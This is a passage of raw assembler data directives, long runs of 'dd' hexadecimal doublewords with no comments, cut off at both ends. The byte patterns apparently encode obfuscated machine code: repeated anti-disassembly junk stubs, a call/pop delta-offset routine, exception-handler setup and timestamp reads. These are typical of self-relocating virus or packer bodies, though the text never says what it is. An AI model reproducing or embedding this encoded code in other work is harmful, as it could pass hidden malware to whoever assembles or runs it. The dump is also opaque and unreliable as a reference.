0DE8B0ACAh, 35FF64h, 60000000h, 79BFDA8Bh, 6156F109h dd 258964h, 66000000h, 8E9FB8Bh, 89000000h, 0CA067250h dd 0FFBD957Ah, 1316D985h, 68D0F06h, 89000000h, 130E5DB5h dd 6AFF6A06h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 19042444h, 42000000h, 5C57C352h, 0FF4D796Ch, 14E9h dd 93845C00h, 87D124E7h, 0BA942729h, 12EE6416h, 4B5C0429h dd 0B5FFF5C3h, 613302Dh, 0FE8BFA8Bh, 31AD95FFh, 0E6E90613h dd 8B000000h, 300B0D9h, 1311C99Dh, 8170E606h, 0ED7F3CBh dd 171E450h, 132B91BDh, 0F613C06h, 0C483h, 61B52900h, 0F061316h dd 0F52C8B6h, 0BA5FF9B7h, 6, 0AC91BFBBh, 66C18B00h, 0B016E381h dd 8904E8C1h, 1317758Dh, 0A5BD8B06h, 6606132Fh, 0BB66E2F7h dd 0C82B9B67h, 5E9D18Bh, 0D8000000h, 0D5383C77h, 54EF8153h dd 5F1D70EBh, 7E9h, 9D89F900h, 61313F5h, 0BD858Bh, 0BD8B0613h dd 61323FDh, 8907C083h, 132CFD8Dh, 0C08306h, 3B1EC380h dd 0A830FD0h, 0F000000h, 42E9FBBFh, 8B000000h, 398D8BF9h dd 0BF061306h, 59EBFF95h, 0F01E183h, 2C84h, 8E900h, 22380000h dd 61E1405Dh, 0A5831266h, 6130639h, 1DB589FEh, 66061332h dd 8981C7BBh, 1300BD95h, 35D78006h, 0E9h, 1EB58D00h, 8B06170Ah dd 131059BDh, 5F71BF06h, 6A44F5h, 13ADBD8Bh, 95FF0613h dd 6130DA9h, 1B4D8529h, 85890613h, 6131D9Dh, 81DB9h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 0DC943161h, 158F0FA5h, 0E8000000h, 9, 41789750h, 6522F0EBh dd 419D0BC3h, 5F06131Dh, 835BF850h, 6AFCE1h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0D2E04AC3h dd 8E19A5D1h, 0E9F9B70Fh, 8, 948BA73Fh dd 0C029F67Eh, 9DBD89FCh, 0E906131Eh, 7, 9BEA95A9h, 2B6AA680h dd 0A18501C0h, 2B061329h, 57006AD2h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 8589F965h dd 61324B1h, 4507BB66h, 0D1C233ADh, 83D003E8h, 0F47504E9h dd 1EE8160h, 0F7F588Dh, 8B61C7BFh, 1331A5BDh, 880D06h dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h dd 56460000h, 7E912C3h, 0C000000h, 69883918h, 958B00AAh dd 6131BBDh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Bh, 4FC35545h, 94F02D77h, 0FF86C4Dh, 68Bh, 0BDB58900h dd 8B06132Eh, 1318DD8Dh, 0A4F78006h, 8BC28B50h, 8BC10318h dd 0D1C18B18h, 8BC203E8h, 0BB665818h, 8D09B462h, 61310D5h dd 1D1DBD83h, 0F000613h, 6784h, 0B800h, 85310000h, 6132C7Dh dd 4F8D8D8Dh, 6A0613h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 0CDC98EC3h, 0E317D880h, 958951F9h dd 6131059h, 6AE1FF5Bh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 19042444h, 47000000h, 0A5E4C357h, 31A16BFEh dd 21953157h, 5F061309h, 3055BD83h, 0F000613h, 43A84h dd 659D8B00h, 83061329h, 133055BDh, 840F0106h, 442h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0DFC35747h, 18DF5CD8h dd 9ED49292h, 1A01B589h, 95890613h, 6130B41h, 0BD83DA8Ah dd 6133055h, 0CD860F03h, 0E8000003h, 0Ah, 128332ECh, 0D7E63EACh dd 8531A227h, 6130F09h, 8BFC605Fh, 0D98C66DFh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 88C35141h, 5100AA69h dd 2890Fh, 61600000h, 11BD8B5Bh, 80061332h, 6A04E1h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 13DFDDC3h, 264B5182h, 0CDBD8B52h, 5B061308h, 8BFBBF0Fh dd 132549BDh, 0FC90A06h, 11584h, 9E800h, 473C0000h, 17A82285h dd 0BBC80DF3h, 58764862h, 0B9858B5Fh, 0B06132Bh, 13318D9Dh dd 0B9853306h, 0E9061305h, 0Ah, 51FFD74Eh, 635000BEh, 5190039Ch dd 8B0F505Bh, 0 dd 57006A90h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h dd 0C3574700h, 0E050A7CEh, 0DB815158h, 70476B88h, 6A006A5Bh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 0A737C352h, 6F4E1DF3h, 959D8BF7h, 68061311h dd 6F09D36Fh, 90243481h, 6A6F16D0h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 7C21C352h dd 71F94985h, 295C8364h, 1329C195h, 0F8CB8106h, 0FF6AB912h dd 130A3D95h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1D04h, 0C3524200h, 0AFC2A847h, 0A5F26093h, 9D8BB1BCh dd 6131E79h, 13D9BD09h, 85890613h, 616C454h, 0E5E93FB3h dd 0F000001h, 858BFABFh, 616C44Ch, 24859529h, 0C70613h dd 18h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h dd 0FBC35747h, 0FBB70FD6h, 0B58B6FB7h, 616C450h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 76C35747h, 0F7E062Eh dd 858BDAB7h, 6132A55h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ch, 0DEC35646h, 0D27E58BAh, 0D374322Fh, 89DF8B66h dd 9BD0306h, 8B061324h, 132BB985h, 8955B306h, 6A0446h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h dd 879B3FC3h, 0E91B2003h, 13h, 319D85D8h, 0EA613DF8h, 0A636EBAFh dd 55296570h, 509A8C42h, 0B0C59FBBh, 2434895Eh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 9CC35141h, 0E1FC5C07h dd 813BF345h, 9168C2CBh, 4CB5FF7Bh, 6A0616C4h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h dd 89D8C351h, 13154995h, 17096806h, 8B668929h, 240481FBh dd 76F5ECF6h, 2565BD8Bh, 0EB810613h, 4616A71Eh, 0C454858Dh dd 6A0616h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h dd 51410000h, 19E4DDC3h, 0F381662Fh, 89505868h, 6A2404h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 0C7859AC3h, 8AD66222h, 0E96099B3h, 11h, 9EAF57CCh, 0D9FD7FAAh dd 3F373079h, 91BF3F0Bh, 0F3F68187h, 612C49F5h, 0A3D95FFh dd 6A0613h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h dd 56460000h, 0D84F64C3h, 0FCE06D2Ch, 0DCC38061h, 305585C7h dd 30613h, 83FC0000h, 16C454BDh, 840F0006h, 30h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 5BC35242h, 0EC1EF753h dd 24E9B9ADh, 0F000000h, 0BD8BD8B7h, 6130EB5h, 110C3050h dd 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h dd 30011164h, 0E9831104h, 0EBE77504h, 0FC08B00h, 38Ch dd 0F9B70F00h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 15h, 0BFC35343h, 9E871h, 38C10000h, 8B4E2160h, 0E983A18Dh dd 11h, 90560913h, 10E1CC1h, 7D0312B8h, 0DE4B29E3h, 9D295B45h dd 6131291h, 0BB5B589h, 0BD830613h, 6133055h, 0E1850F03h dd 0E9000004h, 6, 0A94955C6h, 0BD8374F2h, 616C454h, 0C9840F00h dd 6A000004h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 17042444h, 46000000h, 5BF5C356h, 0EE9877Ch, 0BB000000h dd 0C7D6A9F5h, 86CD1F7Dh, 39321281h, 54B5FF42h, 8B0616C4h dd 132C519Dh, 6995FF06h, 0F061309h, 0BE8FABFh, 0BC000000h dd 0FB0D2C78h, 41CB3B16h, 95893874h, 61315D5h, 48B58B5Bh dd 6A0616C4h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1D042444h, 47000000h, 0EEE7C357h, 14A14473h, 0E76C0272h dd 106C7h, 6A0001h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 88AB50C3h, 0FE8h, 0AF5AA000h, 8C9D4E5Bh dd 0C887FA5Fh, 0DE41550Eh, 8E8h, 431CA400h, 91199EFCh dd 965B5B99h, 8F734BBFh, 5060502Eh, 0F525052h, 0F585A31h dd 0D68B6631h, 9661585Ah, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ch, 0E7C35545h, 697D81ABh, 650D3E75h, 0C454B5FFh dd 6A0616h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h dd 56460000h, 7F16D7C3h, 77BD5489h, 60F9448Bh, 0BE9h, 462FE600h dd 56E3FB4h, 4D44CF62h, 34DF8166h, 95FF61CCh, 6133229h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 6EC35141h dd 89D470CFh, 1318F1B5h, 48B58B06h, 6A0616C4h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 4ADC350h, 0E702CF90h, 0BD8B98BDh, 61319E5h, 7E8h, 0BE011C00h dd 0DF994230h, 160DF9BBh, 858B5F66h, 6130631h, 10E9h, 985B9100h dd 0FBFA2B50h, 0C38BD495h, 3C2F452h, 0C486892Dh, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 6847C355h, 0D5BCA9EBh, 31558529h, 9D2B0613h dd 6131539h, 1BBD958Bh, 10E90613h, 7E000000h, 564EB263h dd 52CCC97Fh, 2B24F137h, 83E0F81Eh, 6A04C2h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 170424h, 52420000h, 0B222F7C3h dd 20508957h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 14h, 0EAC35343h, 0D8E3858Dh, 6A0616h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 247B41C3h dd 0F09E9565h, 203D9589h, 86890613h, 0B8h, 30599D8Bh, 6A0613h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0BBC35747h dd 0C454B5FFh, 6A0616h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1A0424h, 51410000h, 94400AC3h, 7B9B63DDh, 117DBD03h dd 95FF0613h, 6131E95h, 35BD8B57h, 5F061305h, 899CB350h dd 6A2434h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 0D71A29C3h, 0BB663EEBh, 0B5FF220Eh, 616C454h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 9C35545h dd 0C1AE4AB8h, 15858912h, 0FF061300h, 13214595h, 21BD8B06h dd 83061323h, 131495BDh, 840F0006h, 2Ch, 0F9660B7h, 148Ah dd 0DE95100h, 78000000h, 0E49FC798h, 77DFFD3h, 0E2028057h dd 0BF66505Fh, 8B967D31h, 131C05BDh, 0D98B6606h, 0C454B5FFh dd 6A0616h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h dd 50400000h, 589527C3h, 96C05AE3h, 95FF9CB0h, 61305ADh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0C7C35141h dd 0B560CC37h, 8B6632D8h, 54B5FFD9h, 6A0616C4h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h dd 0FCFFC355h, 0FF06B73Ah, 13120995h, 52006A06h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 8B0FA9CAh, 0Ch, 6880Fh, 9D8B0000h, 6131F09h dd 511BD83h, 0F020613h, 6A84h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 858B38A9h dd 6130F55h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 19h, 16C35747h, 0D517BA77h, 0C671h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 0B1C35343h, 91B529EBh, 0C706130Eh dd 131E5185h, 6, 0DF8B6600h, 0FFF300E9h, 50006AFFh, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 188F95DCh, 8B5EFD22h, 52006AC1h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1904h, 0C3524200h, 12F53AEBh, 0BD23811Eh dd 6131319h, 68D0Fh, 9D290000h, 6131DADh, 1EA9858Dh, 7E90613h dd 66000000h, 0D987C1BDh, 6090AB43h, 0DE9C88Bh, 8D000000h dd 9596EF10h, 0B6EB2FC1h, 195246F5h, 6A905061h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 769FC356h, 19599D89h, 6A0613h, 0FD8A006Ah, 910C858Dh dd 6A0617h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h dd 57470000h, 83FC8BC3h, 6A05C0h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 180424h, 55450000h, 0BBA826C3h, 860F285Ah dd 3, 33DEBF0Fh, 1330C19Dh, 8B605006h, 48961F9h, 2D852924h dd 6A06132Dh, 68D0F00h, 29000000h, 1320ED95h, 1006A06h dd 131AD98Dh, 658D8906h, 0FF06131Fh, 1307F195h, 0F0DF8006h dd 0A36A8D8Dh, 85890616h, 613163Dh, 6AD1FFh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 170424h, 56460000h, 0ADAAB4C3h dd 83CB81D7h, 83427837h, 13173DBDh, 850F0106h, 7Eh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0B9C35646h, 7773EFF3h dd 26A64F1h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 16h, 47C35141h, 6690A9E9h, 5072FABFh, 90DF8B66h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 9C35040h, 0C0930F4Dh dd 0BE2F6E49h, 1E9595FFh, 89520613h, 1329659Dh, 48E95F06h dd 0E8000010h, 0 dd 16ED815Dh, 0B7061791h, 974DBB16h, 858D100Ah, 6168F5Eh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0F9C35242h dd 0EE2D55Eh, 0BD8B5B56h, 6130F01h, 238C0F50h, 0E8000000h dd 7, 26D0F4F8h, 0E8C176F4h, 10h, 33A11D8Ch, 3B765EA8h dd 0D27832EBh, 0ACC74F99h, 4895B5Fh, 50006A24h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 68B0F33h, 0F000000h dd 85h, 35FF6400h, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 4C35242h dd 1759F5EBh, 6EDF8166h, 25896454h, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 65C35040h dd 99F06836h, 91D3D6DDh, 0BD096033h, 6132FDDh, 0D059D89h dd 0FF610613h, 1316D985h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1704h, 0C3514100h, 0B04781D5h dd 5E8h, 0E63C4500h, 9D8B2575h, 61334BDh, 6AFF6A5Bh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 1C08C356h, 92BB8A87h, 0FF7EB1D8h, 1331EDB5h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 0A7D01BE0h, 62D28372h, 95FF3626h, 61331ADh, 132E9h dd 0D88B6600h, 0E78100B0h, 24361ADCh, 9D8B70E6h, 6130A0Dh dd 0EF8171E4h, 23DD1E12h, 830F613Ch, 10Fh, 69B58951h, 5B06130Eh dd 0FC8B60Fh, 6BAFABFh, 8B000000h, 1309E5BDh, 8BB6B706h dd 13850FC1h, 0E9000000h, 0Eh, 889D72D1h, 870515EDh, 87B1535Dh dd 0E8C1EB49h, 9D8B5004h, 6131B11h, 0E2F7665Fh, 0E8DF8B66h dd 9, 1A2F4A9Bh, 0CB2D885Dh, 699D2B03h, 5F061331h, 0B531C82Bh dd 61322CDh, 0DF80D18Bh, 10E924h, 5E90000h, 39000000h dd 19171E70h, 1BF98589h, 858B0613h, 6130019h, 14E9h, 0C96D7700h dd 147D7AE2h, 5B882BAEh, 2CD34301h, 0E366E0DEh, 7C08388h dd 5E856h, 0A5220000h, 0E9D4106Ch, 0Bh, 0EC34C62Eh, 0D8456483h dd 5F133D22h, 0C0835Fh, 0FD03BF9h, 1783h, 9606000h, 131AE185h dd 0EAB96106h, 61159F3Fh, 32E9h, 0F88B6600h, 2CD58D8Bh dd 0E1830613h, 20840F01h, 29000000h, 132C618Dh, 0D5A58306h dd 0FE06132Ch, 0D480FC60h, 958961F6h, 6130019h, 0E919B7h dd 8D000000h, 1713F4B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 70A98751h, 0FC5D82Eh dd 58Fh, 0CB5DBB00h, 0D78044D2h, 0E9006AF5h, 0Eh, 63E001A6h dd 448180ECh, 1EAE518Fh, 0E3806CC5h, 0A995FFA5h, 6A06130Dh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 2198C350h, 4DF3856h, 0C870FBAh, 0F000000h dd 681h, 8D858900h, 89061314h, 13054D8Dh, 7CCB906h, 0BD310000h dd 6132851h, 0AE9h, 98E6A900h, 17C968F5h, 83F2F51Ah, 0BD8BFCE1h dd 61314A1h, 9E9FCh, 673C0000h, 2D7DDD96h, 2B2A62AEh, 0BAC0h dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h dd 50400000h, 0B70FA7C3h, 6820FFBh, 31000000h, 1306C995h dd 0C233AD06h, 0D003E8D1h, 7504E983h, 57006AF4h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 0E38BB472h, 0BC55CB5Fh, 0DE9C1h, 0CD220000h, 834B9CEBh dd 0FF2A3735h, 0E812430Ah, 6, 874D173h, 0CB81F78Bh, 3D0034DEh dd 880D5Bh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 190424h, 56460000h, 1B023BC3h, 0B719370Ah, 11E942h dd 0C39F0000h, 36E62F86h, 23BBEFEBh, 0E2DE5E80h, 8B484709h dd 131BBD95h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1C04h, 0C3574700h, 1C1C4FE8h, 0F899255Bh, 0EF816655h dd 8D8B0498h, 61318DDh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 8C35545h, 8BC28B50h, 8BC10318h, 0D1C18B18h dd 8BC203E8h, 6A5818h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1A0424h, 53430000h, 0E84259C3h, 0A27C082Fh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 2FC35646h, 95893DD6h dd 6131DB9h, 0EE99D29h, 0BD830613h, 6131D1Dh, 34840F00h dd 66000000h, 0B8F98Bh, 0F8000000h, 4F8D8D8Dh, 6A0613h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 89ED39C3h, 1309BDB5h, 83E1FF06h, 133055BDh, 840F0006h dd 53Fh, 9619D31h, 0BD830613h, 6133055h, 47840F01h, 0E9000005h dd 7, 45C5C18Bh, 83F9FD5Fh, 133055BDh, 860F0306h, 4F8h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0F9C35747h dd 0F0E22F82h, 0A7BCD393h, 9B5BD8Bh, 9D890613h, 6131F65h dd 53006A60h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 248160D8h, 22B2AFFBh, 12A19D8Bh, 8C660613h dd 52006AD9h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h dd 0C3524200h, 3D010D82h, 0BD8B04F0h, 6130ECDh, 8B04E180h dd 1312859Dh, 0FC90A06h, 1F084h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 0AE9A1h, 0D71B0000h dd 53499F02h, 62C745FDh, 2BB9858Bh, 6A0613h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 837D63C3h dd 481247h, 11E9FAh, 92730000h, 0AC3C6BEBh, 0DE7328C0h dd 0A57FA2FDh, 33E231A7h, 1305B985h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 669EF94Ch dd 501822BFh, 48932B3h, 50006A24h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1B04h, 0C3504000h, 3522A0D2h, 4F06B1D0h dd 6AF98B66h, 68A0F00h, 89000000h, 130ECDBDh, 4E806h, 3FF0000h dd 5250001Fh, 0FF98B66h, 15BB6631h, 50585AD1h, 14E8h, 800C9A00h dd 0C97D21E1h, 460C40D2h, 0F8B604DBh, 0D83EC648h, 448B5FF5h dd 0F500424h, 585h, 4CEABB00h, 8B5B5E66h, 0C993BB00h, 44894F05h dd 890F0424h, 2, 8B5806B3h, 3D95FFD8h, 6A06130Ah, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 0CC8BC356h, 510994h, 0BD8B6C6Dh, 61324DDh, 0C4548589h dd 6A0616h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h dd 50400000h, 4A4E7EC3h, 0A087E264h, 10E9h, 389DA200h dd 7D00C14Ch, 4903BE52h, 0F675115Fh, 10E836h, 99960000h dd 8D8DBFCBh, 5C3139E3h, 470B2766h, 0E9606F2Ah, 0Dh, 6333227Eh dd 1FFEF111h, 8E7A9D44h, 0E78166E5h, 5F61A0A7h, 206E9h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h dd 0C3564600h, 0ADCEAA37h, 0B70FCD73h, 0BD8960FBh, 6131061h dd 4C858B61h, 6A0616C4h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 18042444h, 47000000h, 717BC357h, 604ACAF6h dd 38D0Fh, 0B70F0000h, 3DB58BC0h, 61061335h, 1800C7h, 81660000h dd 8B7BD1E7h, 16C450B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1D04h, 0C3554500h, 0CD47B4AEh, 0B0C0E4BEh dd 0BD334E86h, 61300D9h, 2A55858Bh, 6A0613h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0F3367EC3h dd 0C7813D62h, 4918E96Fh, 0CF810689h, 4707906Ch, 2BB9858Bh dd 81660613h, 891E2BCBh, 9D290446h, 6131D29h, 8B665096h dd 8B6696FAh, 4CB5FFF8h, 6A0616C4h, 3E85700h, 20000000h dd 895FC35Fh dd 8104247Ch, 1D042444h, 47000000h, 0B501C357h, 2A6AA34Fh dd 0ACB75034h, 5E9h, 0CE196500h, 0BF0F0A62h, 48A068F9h dd 10E99072h, 4000000h, 0A051A936h, 82826A2Bh, 0E0DD6BAAh dd 81A8A96Fh, 0BB5F2404h, 10E86FACh, 28000000h, 7405F024h dd 0A2655B5Ch, 2CBBDA97h, 0E90F65E6h, 12h, 0F3601A08h dd 2D9CF564h, 6070FB77h, 4A72CCE9h, 8D5B6210h, 16C45485h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h dd 0C3504000h, 0A6E2BDA1h, 12E9h, 0C7C4D700h, 0E107A70Bh dd 1E83DEh, 0DA761F0h, 664063D4h, 0F50FE8Bh, 8Bh, 24048900h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 20C35343h dd 918F8458h, 0BD0BE637h, 6132BC1h, 0A3D95FFh, 0DE80613h dd 90000000h, 0EB2AEBD3h, 0E148C963h, 3AC915D9h, 16D19D2Bh dd 615F0613h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ch, 0A7C35646h, 0D04EE4ECh, 6B3BF6B0h, 18A0Fh, 0C7F50000h dd 13305585h, 306h, 0DF8B6600h, 2FE9BD8Bh, 0BD830613h dd 616C454h, 4D840F00h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 52FAC352h dd 45E9A5h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 0BCA62AC3h, 1F546308h, 0C381845Ah dd 2E6B0112h, 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h dd 44300311h, 28580211h, 30011164h, 0E9831104h, 0EBE77504h dd 6AC08B00h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 0B22DC355h, 0F4D807A8h, 0B70FB5F0h dd 9E9F8h, 938B0000h, 56B77ADCh, 6A56D606h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 2FABC353h dd 9D8B0DB5h, 6132879h, 3055BD83h, 0F030613h, 4F785h, 0CDBD8900h dd 83061304h, 16C454BDh, 840F0006h, 4E4h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 1Dh, 0BCC35646h, 98DBFA0Bh dd 0C7181AD0h, 6642BB1Fh, 0B5FF2145h, 616C454h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0DFC35141h, 6995FF6Fh dd 6A061309h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 19042444h, 40000000h, 6AB3C350h, 6B1210DAh, 1F359D29h dd 0B58B0613h, 616C448h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ch, 0F6C35242h, 56B100E5h, 4ADAE448h, 0E84AB160h dd 0Bh, 0CA6F6B6Ch, 0B479E519h, 59E01A88h, 106C761h, 60000100h dd 0F8F8E681h, 8D0B4C35h, 6131559h, 830F5061h, 0 dd 66243489h, 0B5FFFE8Bh, 616C454h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 19h, 94C35040h, 140C4E68h, 0B6BF66FFh dd 2995FF10h, 8B061332h, 130645BDh, 0A5BD8B06h, 8B06130Bh dd 16C448B5h, 59D8B06h, 8B061312h, 13063185h, 51BD8B06h dd 89061320h, 0C486h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1A04h, 0C3564600h, 56E10FEBh, 8B05E8F8h dd 131BBD95h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1D04h, 0C3564600h, 419CBF3h, 82363FCCh, 56601B56h, 5BF98B66h dd 0C890Fh, 7E90000h, 15000000h, 2EF20BD4h, 6661C44Ah dd 819FCF81h, 6A04C283h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1A042444h, 41000000h, 2B08C351h, 1C780C52h dd 0D78166D7h, 8D01C8CFh, 6132A29h, 8B205089h, 131BCDBDh dd 0E3858D06h, 890616D8h, 130F499Dh, 0B8868906h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 8290C352h, 471E2020h, 8C0F0F87h, 5, 65C51DBBh dd 89006A05h, 132255BDh, 54B5FF06h, 6A0616C4h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 4E0C353h, 0E97BAC25h, 0Dh, 0EF84C81h, 5C2AC205h, 0ADC68931h dd 9595FFBBh, 6A06131Eh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 0F6F1C357h, 579BD89h dd 9D8B0613h, 61323A5h, 850F5096h, 0Ch, 52505250h, 2 dup(585A310Fh) dd 56006A96h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h dd 0C3564600h, 0F90882E8h, 0D2E04AE2h, 9E9h, 16AAEF00h dd 0DA7CE054h, 0DF8B47F2h, 0C454B5FFh, 6A0616h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 0E39123C3h, 9276575Dh, 950158B0h, 61312C9h, 214595FFh dd 6A0613h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 66EE30C3h, 0BD839E11h, 6131495h, 71840F00h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 43CEC356h, 7591BDB6h, 50BF6076h dd 0BB565250h, 41F4F7E5h, 0B7310F5Fh, 89585AB3h, 6A2434h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 600925C3h, 2A2811C8h, 0F26DF8Ah, 0A82h, 61606000h, 820Fh dd 